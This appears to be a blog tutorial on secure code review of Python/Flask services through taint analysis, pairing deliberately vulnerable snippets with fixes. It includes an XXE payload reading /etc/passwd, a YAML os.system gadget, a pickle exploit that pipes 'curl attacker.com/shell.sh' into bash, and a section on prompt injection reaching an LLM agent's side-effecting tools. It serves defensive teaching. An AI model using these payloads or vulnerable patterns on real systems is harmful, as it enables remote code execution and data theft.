Reading Code for Vulnerabilities: What Actually Worked for Me

Table of Contents

#

1. Where this started
2. The mental model I landed on: taint analysis
3. The vulnerability classes I trained on
   • Injections
   • Authentication and authorization
   • Cryptography
   • Concurrency
   • Resource exhaustion
   • Deserialization and supply chain
   • Web-specific classes
   • LLM-specific classes
4. Python sink patterns worth memorizing
5. How I structured the training
6. How I actually work through a piece of code
7. The four levels of code review
8. Where SAST fits in
9. Sources

Where this started

#

A while ago I noticed a gap in how I approached security work. I was reasonably comfortable with CTF challenges and web pentest methodology, but when I sat down with an unfamiliar codebase and needed to find real issues, I felt slow and unsystematic. I would scan from top to bottom, catch the obvious things, miss the subtle ones, and have no good way to know whether I had actually covered the attack surface or just read the code.

The gap is not about knowing what SQL injection is. Most people doing security work know what SQL injection is. The gap is about being able to look at three hundred lines of a Flask service with interconnected handlers and find the issues reliably, in a reasonable amount of time, with a defensible sense of coverage when you are done.

So I built a practice setup. The exercise generation side of it I automated: I run swarms of subagents that go research the internet, pull from CTF writeups, bug bounty disclosures, CVE descriptions, and security blog posts for a given vulnerability class, then synthesize a realistic deliberately broken Python service, a notes sheet with the key concepts, a reference solution with annotated findings, and a cheat sheet of the patterns to watch for. I work through those exercises, not ones I wrote myself, which matters because I cannot cheat by remembering what I put in.

What I could not automate was the actual review practice and figuring out what mental model to use. This article is about that part: the model that ended up being useful, the vulnerability classes I covered, the exercise format that made findings stick, and the protocol I follow when I sit down with a new piece of code.

I am not going to frame this as “the right way to do code review.” It is what worked for me. Some of it is standard practice, some of it I arrived at through trial and error. Take what is useful.

The mental model I landed on: taint analysis

#

The first thing I tried was memorizing a list of vulnerability patterns. That worked at the level of recognition but not analysis. I could spot pickle.loads(data) or subprocess.Popen(..., shell=True) when they appeared in obvious form, but I would miss the same vulnerability when it was split across a helper function and a caller, or when the sink was reached through a slightly unusual path.

What changed was committing to a single mental model for every review: taint analysis. It comes from static analysis research but reduces to four concepts in practice: sources, propagation, sinks, and sanitizers.

Sources are where external data enters the system. In a web application: HTTP request parameters, headers, body content, URL path segments, cookies, uploaded file contents. More generally: environment variables, files read from disk, responses from external services, database content written by untrusted actors. The key property is that attacker-controlled data can reach a source.

Sinks are where data is consumed in a way that can cause harm if the data is malicious. A database query construction is a SQLi sink. A shell command is a command injection sink. A file path passed to open() is a path traversal sink. A Jinja2 template string that gets rendered is an SSTI sink. Sinks are finite and can usually be enumerated quickly.

Propagation is what happens between source and sink: assignments, function calls, string concatenations, format operations. The question is whether data from a given source reaches a given sink, and in what form.

Sanitizers are operations that should transform tainted data into safe data before it reaches a sink. A parameterized query placeholder is a sanitizer for SQLi. html.escape() is a sanitizer for XSS. os.path.realpath() followed by a prefix check is a sanitizer for path traversal. The critical question about any sanitizer is not whether it exists but whether it is the right sanitizer for the specific sink, and whether it is applied at the right point in the propagation chain.

The model turns a vague question (“is this code vulnerable?”) into a structured checklist (“for each sink in this code, trace backwards to its sources and check whether the propagation chain passes through an appropriate sanitizer”). That is reviewable in a fixed time. A vague scan is not.

Direction matters. Forward analysis starts at sources and follows data forward to see which sinks it reaches. Backward analysis starts at sinks and traces backwards to find sources. In a timed review, backward analysis is almost always faster. Sinks are few and easy to spot. Sources are many and harder to enumerate completely. I nearly always start from sinks.

The other thing the model does well is surface the most common real-world failure: sanitizer in the wrong place in the propagation chain. A sanitizer that runs before a transformation that invalidates it protects nothing. Here is the pattern I kept seeing in exercises:

raw = request.get_json()["payload"]
# sanitizer runs on the base64-encoded string
if contains_malicious_patterns(raw):
    abort(400)
decoded = base64.b64decode(raw)
result = yaml.load(decoded)   # RCE sink

The sanitizer scans the base64-encoded version of the payload. The YAML deserializer runs on the decoded bytes. A payload that looks clean when encoded bypasses the check. This pattern appears constantly in real code because the developer tested the sanitizer and it appeared to work.

The vulnerability classes I trained on

#

What follows is the taxonomy I built for my exercises. Each entry has the source category, the sink, the sanitizer that should be present, and the most common way it is missing or wrong. After each class I include a real code snippet you can expand, showing the vulnerable version and a fix.

Injections

#

SQL injection. Source: user-controlled string. Sink: a database query assembled by string concatenation or f-strings. Sanitizer: parameterized queries (never string escaping). The failure modes: raw concatenation, f-strings, and the subtle one I saw most often: mixed parameterization where part of the query is parameterized and part is not.

# Looks parameterized. Part of it is not.
@app.route("/search")
def search():
    table  = request.args.get("table", "products")
    term   = request.args.get("q", "")
    # table is injected directly; only term is parameterized
    query  = f"SELECT * FROM {table} WHERE name LIKE ?"
    rows   = db.execute(query, (f"%{term}%",)).fetchall()
    return jsonify([dict(r) for r in rows])

# Fix: allowlist for identifiers that cannot be parameterized
ALLOWED_TABLES = {"products", "categories", "reviews"}

@app.route("/search")
def search():
    table = request.args.get("table", "products")
    if table not in ALLOWED_TABLES:
        abort(400)
    term  = request.args.get("q", "")
    query = f"SELECT * FROM {table} WHERE name LIKE ?"
    rows  = db.execute(query, (f"%{term}%",)).fetchall()
    return jsonify([dict(r) for r in rows])

Command injection. Source: user input. Sink: os.system(), subprocess.Popen(..., shell=True), subprocess.run(..., shell=True). Sanitizer: use the list form with shell=False. The failure is almost always shell=True combined with string formatting.

@app.route("/convert")
def convert():
    filename = request.args.get("file")
    output   = request.args.get("output", "out.pdf")
    # shell=True passes the whole string to /bin/sh
    subprocess.run(f"convert {filename} {output}", shell=True)
    return send_file(output)

@app.route("/convert")
def convert():
    filename = request.args.get("file")
    output   = request.args.get("output", "out.pdf")
    # List form: no shell interpretation, each arg is a literal
    subprocess.run(["convert", filename, output], shell=False, check=True)
    return send_file(output)

Path traversal. Source: user input used to construct a file path. Sink: open(), send_file(), write/delete operations. Sanitizer: os.path.realpath() followed by a prefix assertion. os.path.join() alone is not a sanitizer.

UPLOAD_DIR = "/app/uploads"

@app.route("/download")
def download():
    filename = request.args.get("name")
    # os.path.join discards earlier components when a later one is absolute
    # os.path.join("/app/uploads", "/etc/passwd") == "/etc/passwd"
    path = os.path.join(UPLOAD_DIR, filename)
    return send_file(path)

UPLOAD_DIR = "/app/uploads"

@app.route("/download")
def download():
    filename = request.args.get("name")
    requested = os.path.realpath(os.path.join(UPLOAD_DIR, filename))
    if not requested.startswith(UPLOAD_DIR + os.sep):
        abort(403)
    return send_file(requested)

YAML deserialization. Source: user-supplied YAML. Sink: yaml.load(data) without a safe Loader. Sanitizer: yaml.safe_load(data). The default yaml.load allows arbitrary Python object instantiation via !!python/object/apply:os.system [id].

@app.route("/pipeline", methods=["POST"])
def run_pipeline():
    config_b64 = request.json["config"]
    # sanitizer on the encoded form, not the decoded form
    if "system" in config_b64 or "eval" in config_b64:
        abort(400)
    config_yaml = base64.b64decode(config_b64)
    config = yaml.load(config_yaml)   # RCE
    execute_pipeline(config)
    return "ok"

@app.route("/pipeline", methods=["POST"])
def run_pipeline():
    config_b64 = request.json["config"]
    config_yaml = base64.b64decode(config_b64)
    # safe_load only deserializes basic Python types
    config = yaml.safe_load(config_yaml)
    execute_pipeline(config)
    return "ok"

SSRF (Server-Side Request Forgery). Source: a URL supplied by the user. Sink: an HTTP client making a request with that URL. Sanitizer: an allowlist of permitted targets, not a blocklist.

BLOCKED = {"localhost", "127.0.0.1", "0.0.0.0", "169.254.169.254"}

@app.route("/fetch-avatar")
def fetch_avatar():
    url = request.args.get("url")
    host = urllib.parse.urlparse(url).hostname
    if host in BLOCKED:
        abort(400)
    resp = requests.get(url, timeout=5)
    return resp.content

ALLOWED_HOSTS = {"avatars.example.com", "cdn.example.com"}

@app.route("/fetch-avatar")
def fetch_avatar():
    url = request.args.get("url")
    parsed = urllib.parse.urlparse(url)
    if parsed.hostname not in ALLOWED_HOSTS:
        abort(400)
    if parsed.scheme not in ("http", "https"):
        abort(400)
    resp = requests.get(url, timeout=5, allow_redirects=False)
    return resp.content

SSTI (Server-Side Template Injection). Source: user input included in a Jinja2 template string that is then rendered. Sink: render_template_string() or jinja2.Template(user_input).render(...). Sanitizer: never use user input as the template. Pass user data as variables to a fixed template.

@app.route("/preview")
def preview():
    name = request.args.get("name", "World")
    # user input IS the template, not a variable in the template
    return render_template_string(f"Hello {name}!")

@app.route("/preview")
def preview():
    name = request.args.get("name", "World")
    # name is a variable passed to a fixed template
    return render_template_string("Hello {{ name }}!", name=name)

XXE (XML External Entity). Source: user-supplied XML. Sink: an XML parser with external entity processing enabled. Sanitizer: disable external entities and DTDs.

@app.route("/import-invoice", methods=["POST"])
def import_invoice():
    xml_data = request.data
    # lxml's default parser resolves external entities
    tree = etree.fromstring(xml_data)
    invoice_id = tree.findtext("id")
    process_invoice(tree)
    return f"imported {invoice_id}"

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<invoice><id>&xxe;</id></invoice>

@app.route("/import-invoice", methods=["POST"])
def import_invoice():
    xml_data = request.data
    parser = etree.XMLParser(resolve_entities=False, no_network=True)
    tree = etree.fromstring(xml_data, parser)
    invoice_id = tree.findtext("id")
    process_invoice(tree)
    return f"imported {invoice_id}"

Pickle deserialization. Source: data from any untrusted storage (cache, queue, uploaded file). Sink: pickle.loads(data). Sanitizer: none that is reliable. The only fix is to not deserialize untrusted pickle data.

@app.route("/restore", methods=["POST"])
def restore_session():
    session_data = base64.b64decode(request.json["session"])
    # pickle.loads deserializes arbitrary Python objects
    user = pickle.loads(session_data)
    return jsonify(user.to_dict())

import pickle, os, base64

class Exploit:
    def __reduce__(self):
        return (os.system, ("curl attacker.com/shell.sh | bash",))

print(base64.b64encode(pickle.dumps(Exploit())).decode())

Authentication and authorization

#

IDOR (Insecure Direct Object Reference). Source: an object identifier in the request. Sink: a database query fetching a resource by that identifier. The critical missing piece: an ownership check.

@app.route("/orders/<int:order_id>")
@login_required          # checks the user is logged in
def get_order(order_id):
    # no check that the logged-in user owns this order
    order = Order.query.get_or_404(order_id)
    return jsonify(order.to_dict())

@app.route("/orders/<int:order_id>")
@login_required
def get_order(order_id):
    order = Order.query.filter_by(
        id=order_id,
        user_id=current_user.id   # ownership enforced at query level
    ).first_or_404()
    return jsonify(order.to_dict())

JWT algorithm confusion. A library that accepts the algorithm from the token header rather than enforcing it. The attack: an RS256-signed JWT re-signed with HS256 using the server’s public key as the HMAC secret.

PUBLIC_KEY = open("public.pem").read()

@app.route("/profile")
def profile():
    token = request.headers.get("Authorization", "").removeprefix("Bearer ")
    # algorithm taken from the token header, not enforced
    payload = jwt.decode(token, PUBLIC_KEY)
    return jsonify(get_user(payload["sub"]))

@app.route("/profile")
def profile():
    token = request.headers.get("Authorization", "").removeprefix("Bearer ")
    # algorithm list enforced by the verifier, not read from the token
    payload = jwt.decode(token, PUBLIC_KEY, algorithms=["RS256"])
    return jsonify(get_user(payload["sub"]))

Cryptography

#

Weak password hashing. hashlib.md5(password.encode()) is a fast hash. Fast hashes are brute-forceable at billions of guesses per second on commodity hardware. For passwords, use a slow hash with a work factor.

SECRET_KEY = "supersecret123"   # hardcoded in source
app.config["SECRET_KEY"] = SECRET_KEY

def hash_password(password):
    return hashlib.md5(password.encode()).hexdigest()   # fast hash

@app.route("/register", methods=["POST"])
def register():
    username = request.json["username"]
    password = request.json["password"]
    db.execute(
        "INSERT INTO users (username, password) VALUES (?, ?)",
        (username, hash_password(password))
    )
    return "ok"

import bcrypt, os

app.config["SECRET_KEY"] = os.environ["SECRET_KEY"]   # from environment

def hash_password(password: str) -> bytes:
    return bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))

def check_password(password: str, hashed: bytes) -> bool:
    return bcrypt.checkpw(password.encode(), hashed)

Weak randomness for security tokens. random.randint() uses a Mersenne Twister, which is not cryptographically secure.

@app.route("/reset-password", methods=["POST"])
def request_reset():
    email = request.json["email"]
    # 6-digit code: only 10^6 possibilities, generated with non-CSPRNG
    token = str(random.randint(0, 999999)).zfill(6)
    store_reset_token(email, token)
    send_email(email, f"Your reset code: {token}")
    return "ok"

import secrets

@app.route("/reset-password", methods=["POST"])
def request_reset():
    email = request.json["email"]
    # 32 bytes = 256 bits of cryptographically secure randomness
    token = secrets.token_urlsafe(32)
    store_reset_token(email, token, expires_in=900)   # 15 min TTL
    send_email(email, f"Reset link: https://app.example.com/reset?token={token}")
    return "ok"

Concurrency

#

Race condition / TOCTOU. The check and the use are two separate operations. Between them, state can change if another request runs concurrently.

@app.route("/transfer", methods=["POST"])
def transfer():
    amount  = request.json["amount"]
    to_user = request.json["to"]

    # CHECK: read current balance
    user = db.query(User).filter_by(id=current_user.id).first()
    if user.balance < amount:
        abort(400, "insufficient funds")

    # --- concurrent request can win here ---

    # USE: deduct
    user.balance -= amount
    db.session.commit()

    credit_user(to_user, amount)
    return "ok"

@app.route("/transfer", methods=["POST"])
def transfer():
    amount  = request.json["amount"]
    to_user = request.json["to"]

    # Atomic update with the condition in the WHERE clause
    result = db.execute(
        "UPDATE users SET balance = balance - ? "
        "WHERE id = ? AND balance >= ?",
        (amount, current_user.id, amount)
    )
    if result.rowcount == 0:
        abort(400, "insufficient funds")

    credit_user(to_user, amount)
    return "ok"

Second-order injection. Source and sink are separated by a storage step. The payload is stored, then later retrieved and used unsafely.

# Step 1: store. The note is saved as-is (looks harmless here)
@app.route("/notes", methods=["POST"])
def create_note():
    content = request.json["content"]
    db.execute("INSERT INTO notes (user_id, content) VALUES (?, ?)",
               (current_user.id, content))
    return "saved"

# Step 2: retrieve and render. The stored content is included in HTML without encoding.
@app.route("/report")
def generate_report():
    notes = db.execute(
        "SELECT content FROM notes WHERE user_id = ?", (current_user.id,)
    ).fetchall()
    # notes come from the database, which feels "safe"
    html_notes = "".join(f"<li>{note['content']}</li>" for note in notes)
    return f"<ul>{html_notes}</ul>"

from markupsafe import escape

@app.route("/report")
def generate_report():
    notes = db.execute(
        "SELECT content FROM notes WHERE user_id = ?", (current_user.id,)
    ).fetchall()
    html_notes = "".join(f"<li>{escape(note['content'])}</li>" for note in notes)
    return f"<ul>{html_notes}</ul>"

Resource exhaustion

#

ReDoS. A regex with catastrophically backtracking patterns applied to user-supplied input.

import re

# Nested quantifiers on overlapping classes: catastrophic backtracking
EMAIL_RE = re.compile(
    r"^([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,})+$"
)

@app.route("/validate-email")
def validate_email():
    email = request.args.get("email", "")
    # A 50-char input like "aaaa...a@" can hang this for seconds/minutes
    if EMAIL_RE.match(email):
        return "valid"
    return "invalid"

import re

# Simpler pattern, no nested quantifiers on overlapping classes
EMAIL_RE = re.compile(r"^[^@\s]+@[^@\s]+\.[^@\s]+$")

@app.route("/validate-email")
def validate_email():
    email = request.args.get("email", "")
    if len(email) > 254:   # RFC 5321 limit, also caps backtracking
        return "invalid"
    if EMAIL_RE.match(email):
        return "valid"
    return "invalid"

Deserialization and supply chain

#

tarfile path traversal. tarfile.extractall() does not validate member paths by default. A tar archive can contain ../../.bashrc as a member name.

@app.route("/upload-model", methods=["POST"])
def upload_model():
    archive = request.files["archive"]
    with tarfile.open(fileobj=archive.stream) as tar:
        # extractall trusts member paths
        tar.extractall("/app/models/")
    return "uploaded"

@app.route("/upload-model", methods=["POST"])
def upload_model():
    archive = request.files["archive"]
    dest = "/app/models/"
    with tarfile.open(fileobj=archive.stream) as tar:
        for member in tar.getmembers():
            target = os.path.realpath(os.path.join(dest, member.name))
            if not target.startswith(os.path.realpath(dest) + os.sep):
                abort(400, f"Path traversal in archive: {member.name}")
        tar.extractall(dest)
    return "uploaded"

Web-specific classes

#

Stored XSS. I covered the second-order variant above. The standalone stored XSS is the same pattern without the concurrency aspect: user input stored in the database, later rendered in HTML without encoding.

Timing attack on secret comparison. stored_token == provided_token short-circuits on the first mismatched byte, leaking timing information. Use hmac.compare_digest(a, b) for constant-time comparison.

LLM-specific classes

#

Prompt injection via tool output. When an LLM agent fetches external content and acts on it, that content is a source. The sink is any tool call the agent makes with side effects (file writes, HTTP requests, database queries). If the fetched content contains instructions, the LLM may follow them as if they came from the operator.

@app.route("/support", methods=["POST"])
def support():
    user_query = request.json["query"]
    doc_id     = request.json["doc_id"]

    # Fetch a knowledge base document (attacker can control its content
    # if the KB is populated from user submissions or scraped sources)
    doc_content = fetch_kb_document(doc_id)

    prompt = f"""
    You are a support agent. Answer the user's question using the document below.
    User query: {user_query}
    Document: {doc_content}
    You have access to the following tools: search_db, send_email, delete_record.
    """
    response = llm.complete(prompt, tools=[search_db, send_email, delete_record])
    return response

Python sink patterns worth memorizing

#

The practical application of backward taint analysis is spotting sinks quickly. This is the mental grep I run when opening a Python file. The point is not to memorize exact signatures but to develop an instinct for which function calls demand a backwards trace:

SQLi sinks:
    cursor.execute(f"...")
    cursor.execute("..." + var)
    db.execute(f"...")
    Model.objects.raw(f"SELECT ...")

Command injection sinks:
    os.system(...)
    subprocess.Popen(..., shell=True)
    subprocess.run(..., shell=True)
    subprocess.call(..., shell=True)
    os.popen(...)

Code injection sinks:
    eval(user_input)
    exec(user_input)

Path traversal sinks:
    open(os.path.join(base, user_path))   # join alone is not a sanitizer
    send_file(user_path)

Deserialization sinks:
    pickle.loads(data)
    pickle.load(f)
    yaml.load(data)                        # without safe_load
    yaml.load(data, Loader=yaml.Loader)
    tarfile.extractall(path)              # without member check
    torch.load(f)                         # without weights_only=True
    jsonpickle.decode(data)

SSTI sinks:
    render_template_string(f"...{user_input}...")
    jinja2.Template(user_input).render(...)

XXE sinks:
    etree.fromstring(xml)
    etree.parse(f)

Weak crypto:
    hashlib.md5(password)
    hashlib.sha1(password)
    random.randint(...)                    # in a security context
    random.choice(...)                     # for token generation

Async correctness (different class, but worth flagging):
    requests.post(...) inside async def   # blocks the event loop
    missing await on asyncio.gather(...)
    shared mutable global modified in coroutines without a lock

How I structured the training

#

The exercise format I landed on:

exercise.py
├── Context (2-3 sentences: what is this service, who calls it)
├── Vulnerable code (100-200 lines, realistic Flask/FastAPI patterns)
└── Consigne (open-ended: find and prioritize all security issues)

→ Set a 20-25 minute timer
→ Write all findings independently BEFORE looking at anything else
→ Read the reference solution
→ Self-evaluate: % caught, priorization accuracy, false positives flagged

Two rules that are easy to skip and that actually matter the most:

The timer. Working under time pressure is a different cognitive state from leisurely reading. It forces prioritization: you cannot spend fifteen minutes on one endpoint if there are five. It also surfaces which analysis steps are automatic and which still require explicit effort. If backward taint analysis is not yet automatic, the timer will make that obvious.

Write before you look. The most common failure mode in self-study is reading the solution and feeling like you “would have” found that. The brain is very good at false recognition. Writing findings down before seeing the solution gives an objective record of what you actually found. The gap between what you found and what was in the solution is the signal.

The error journal. After each exercise I track: which findings I missed (and what caused the miss: did not recognize the sink, missed the propagation, wrong assumption about the sanitizer), which things I flagged as false positives when the code was actually safe, and where my priorization was wrong. The journal feeds spaced repetition: any pattern that appears three times gets an explicit review session.

Progression ordering. Start with exercises where vulnerabilities are in textbook form. Move to exercises where the issue requires tracing through a helper function or across a class boundary. Then move to exercises where the vulnerability only appears when you understand the business logic. The progression is roughly: pattern recognition, then taint tracing across files, then business logic and context, then architectural classes of problems.

Spaced repetition on exercises. Any exercise where I caught less than 60% of findings goes back into rotation after two days, attempted again without reviewing previous notes.

How I actually work through a piece of code

#

The first thing I do when code lands in front of me is one sentence of threat model verbalization: “These endpoints take requests from untrusted callers, so every field in the request body, every query parameter, and every path segment is potentially attacker-controlled. I’ll start by enumerating sinks.”

This verbalization matters. “Internal users only” and “authenticated users only” are assumptions that deserve explicit examination before being accepted. Most real-world vulnerabilities in authenticated contexts exist because “authenticated” was treated as equivalent to “trusted.”

Step 1: enumerate sinks. Scan the file for patterns in the sink list above. Do not start reading from line 1. Build a list of three to five sinks before tracing any of them.

Step 2: prioritize sinks. An RCE sink (deserialization, command injection, code injection) takes precedence over an information disclosure sink (path traversal to non-sensitive data). Order the list.

Step 3: backward trace from the highest-priority sink. For each sink: what is passed to it, where is that variable assigned, what path does the value travel through on its way here, is there a sanitizer, and is it the right sanitizer for this specific sink type?

Step 4: evaluate the sanitizer critically. Even when a sanitizer is present: is it the right one for this sink? Is it applied before or after a transformation that could invalidate it? Is it conditional, with a bypass path? Is it a blocklist?

Step 5: prioritize findings. Before writing anything, sort by impact. Critical (RCE, auth bypass, mass data exfiltration). High (authenticated IDOR, stored XSS, significant info disclosure). Medium (reflected XSS with limited impact, weak crypto outside auth). Low (defense-in-depth improvements, missing monitoring). A dump of ten unordered findings is less useful than five ordered ones with a one-sentence impact per finding.

Step 6: propose concrete fixes. Not a paragraph of advice. The specific line and what it should look like instead, or the specific structural change if the issue is architectural.

The four levels of code review

#

I found it useful to think about progression in terms of what kind of analysis is required to find the issues you are missing:

Level 1: pattern recognition. You can identify textbook vulnerabilities in obvious form: pickle.loads(data), subprocess.Popen(..., shell=True), hashlib.md5(password). Necessary but not sufficient. You will miss anything that does not appear in the standard form.

Level 2: taint analysis. You can trace data from source to sink across function calls, file boundaries, and transformations. You can identify sanitizers and evaluate whether they are correct for the specific sink. This is where most of the work happens in real reviews.

Level 3: context and business logic. You can reason about what the application is supposed to do and find security violations that only appear when you understand the intended flow. IDOR requires knowing who is supposed to own which resources. Race conditions require understanding what invariants the application relies on.

Level 4: architectural thinking. You can identify classes of problems from structural patterns. “This service treats data from internal services as trusted, but those services accept external input.” “This multi-tenant system uses a shared cache keyed only by object ID, not tenant ID.” At this level you are reasoning about system design, not individual lines.

The progression is not sharp, but it is useful for self-assessment. For any given exercise: what level was required to find the issues I missed?

Where SAST fits in

#

Semgrep, Bandit, and CodeQL are useful, but they fit at the end of a review process, not the beginning.

SAST tools are good at known-pattern vulnerabilities in recognized forms. They have no context. Bandit will flag yaml.load(data) regardless of whether data comes from a trusted configuration file or an HTTP request body. CodeQL can trace dataflow across files, but it will not find IDOR, race conditions, or broken access control because those require understanding the authorization model and the business logic.

Semgrep’s study on IDOR detection put numbers on this: Claude Code alone achieved roughly 14% true positive rate on IDOR. A hybrid of Semgrep-as-sink-enumerator followed by targeted analysis achieved 61% precision. Neither is a substitute for a human who understands the authorization model.

The workflow I use: manual backward-taint analysis first, build a findings list independently, then run SAST to catch things I missed and cross-reference what I found.

Quick reference for what each tool covers in Python:

• Bandit: Python-specific, covers most of the sink list, fast, high false-positive rate, good for CI gates.
• Semgrep: cross-language, rule-based, better precision when rules are tuned to the specific codebase.
• CodeQL: dataflow analysis across files and function calls, more expensive to set up, better at propagation.
• Gitleaks: hardcoded secrets in source and git history, should run on every repository.

None of them cover concurrency bugs, IDOR, business logic failures, or second-order injection in a general way. Those are purely in the domain of manual review.

Sources

#

Taint analysis and static analysis

• OWASP Source, Sink, and Taint Flows
• CWE/SANS Top 25 Most Dangerous Software Weaknesses
• CodeQL dataflow analysis documentation
• Semgrep taint mode

Python-specific patterns

• Bandit issue list
• PyYAML yaml.load deprecation
• Python subprocess security guide
• tarfile path traversal CVE-2007-4559
• Python secrets module
• OWASP Python Security Cheat Sheet

Injection classes

• PortSwigger SQLi
• PortSwigger SSRF
• PortSwigger SSTI
• OWASP XXE
• OWASP Command Injection

Auth, access control, JWT

• PortSwigger IDOR
• PortSwigger JWT attacks
• PortSwigger JWT algorithm confusion
• OWASP Broken Access Control

Concurrency

• PortSwigger race conditions
• OWASP TOCTOU
• Smashing the State Machine (Kettle, 2023)

ReDoS and complexity attacks

• OWASP ReDoS
• Cloudflare outage postmortem, 2019
• re2 library

Deserialization

• OWASP Deserialization Cheat Sheet
• torch.load security advisory
• SafeTensors vs pickle in ML

LLM-specific security

• OWASP LLM Top 10 (2025)
• Simon Willison on prompt injection
• PortSwigger web LLM attacks

SAST and detection

• Semgrep vs. Claude on IDOR detection (2025)
• Semgrep AI-powered IDOR detection

Practice platforms

• OWASP WebGoat
• OWASP Juice Shop
• PentesterLab
• HackTheBox

felix.billieres@ecole2600.com